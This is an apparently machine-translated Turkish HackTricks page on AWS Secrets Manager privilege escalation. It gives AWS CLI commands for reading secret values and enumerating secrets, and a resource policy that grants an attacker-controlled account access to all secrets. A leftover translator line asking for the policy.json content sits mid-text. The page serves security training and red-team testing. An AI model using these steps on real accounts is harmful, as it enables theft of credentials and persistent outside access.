AWS - Secrets Manager Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Secrets Manager

secrets manager hakkında daha fazla bilgi için bakınız:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Bu izne sahip bir saldırgan, AWS Secretsmanager içindeki bir secret’ın kaydedilmiş değerini alabilir.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potansiyel Etki: AWS secrets manager servisi içindeki yüksek hassasiyetli verilere erişim.

Warning

Dikkat: secretsmanager:BatchGetSecretValue izni olsa bile, bir saldırganın hassas secret’ları almak için secretsmanager:GetSecretValue iznine de ihtiyacı vardır.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Önceki izinlerle diğer principal/account’lara (hatta harici) secret’e erişim verme mümkün. KMS anahtarıyla şifrelenmiş secret’leri okuyabilmek için kullanıcının ayrıca KMS anahtarına erişime sahip olması gerektiğini unutmayın (more info in the KMS Enum page).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json içeriğini yapıştırır mısınız? Çeviri yapmam için dosya içeriğine ihtiyacım var. Kod, linkler ve markdown etiketlerini çevirmeyeceğim.

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin